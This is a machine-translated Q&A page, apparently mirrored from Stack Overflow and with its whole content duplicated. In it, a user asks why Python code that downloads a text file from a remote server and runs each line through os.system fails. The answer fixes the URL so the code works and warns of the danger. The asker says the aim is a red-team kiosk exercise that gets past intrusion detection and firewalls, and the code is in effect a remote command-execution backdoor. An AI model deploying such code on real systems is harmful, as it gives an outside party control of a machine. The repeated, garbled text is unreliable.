python 从远程文本文件读取和 运行 命令
python read and run commands from a remote text file
我有一个脚本应该从远程服务器读取文本文件,然后执行 txt 文件中的任何内容。
例如,如果文本文件包含命令:“ls”。计算机将运行 命令和列表目录。
另外,请不要建议使用 urllib2 或其他任何东西。我想坚持 python3.x
我一 运行 收到这个错误:
Traceback (most recent call last):
File "test.py", line 4, in <module>
data = urllib.request.urlopen(IP_Address)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 222, in urlopen
return opener.open(url, data, timeout)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 509, in open
req = Request(fullurl, data)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 328, in __init__
self.full_url = url
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 354, in full_url
self._parse()
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 383, in _parse
raise ValueError("unknown url type: %r" % self.full_url) ValueError: unknown url type: 'domain.com/test.txt'
这是我的代码:
import urllib.request
IP_Address = "domain.com/test.txt"
data = urllib.request.urlopen(IP_Address)
for line in data:
print("####")
os.system(line)
编辑:
是的,我意识到这是个坏主意。这是一个学校项目,我们在玩红队,我们应该可以使用一个售货亭。我认为与其编写尝试绕过入侵检测和防火墙的代码,不如从远程服务器执行命令更容易。感谢大家的帮助!
发生错误是因为您的 url 不包含协议。包括“http://”(如果您使用的是 https ssl/tls),它应该可以工作。
正如其他人评论的那样,这是一件危险的事情,因为有人可以通过这种方式在您的系统上 运行 任意命令。
尝试
“http://localhost/domain.com/test.txt"
或远程地址
如果本地主机需要运行 http服务器
我有一个脚本应该从远程服务器读取文本文件,然后执行 txt 文件中的任何内容。
例如,如果文本文件包含命令:“ls”。计算机将运行 命令和列表目录。 另外,请不要建议使用 urllib2 或其他任何东西。我想坚持 python3.x
我一 运行 收到这个错误:
Traceback (most recent call last):
File "test.py", line 4, in <module>
data = urllib.request.urlopen(IP_Address)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 222, in urlopen
return opener.open(url, data, timeout)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 509, in open
req = Request(fullurl, data)
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 328, in __init__
self.full_url = url
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 354, in full_url
self._parse()
File "C:\Users\jferr\AppData\Local\Programs\Python\Python38\lib\urllib\request.py", line 383, in _parse
raise ValueError("unknown url type: %r" % self.full_url) ValueError: unknown url type: 'domain.com/test.txt'
这是我的代码:
import urllib.request
IP_Address = "domain.com/test.txt"
data = urllib.request.urlopen(IP_Address)
for line in data:
print("####")
os.system(line)
编辑: 是的,我意识到这是个坏主意。这是一个学校项目,我们在玩红队,我们应该可以使用一个售货亭。我认为与其编写尝试绕过入侵检测和防火墙的代码,不如从远程服务器执行命令更容易。感谢大家的帮助!
发生错误是因为您的 url 不包含协议。包括“http://”(如果您使用的是 https ssl/tls),它应该可以工作。
正如其他人评论的那样,这是一件危险的事情,因为有人可以通过这种方式在您的系统上 运行 任意命令。
尝试
“http://localhost/domain.com/test.txt"
或远程地址
如果本地主机需要运行 http服务器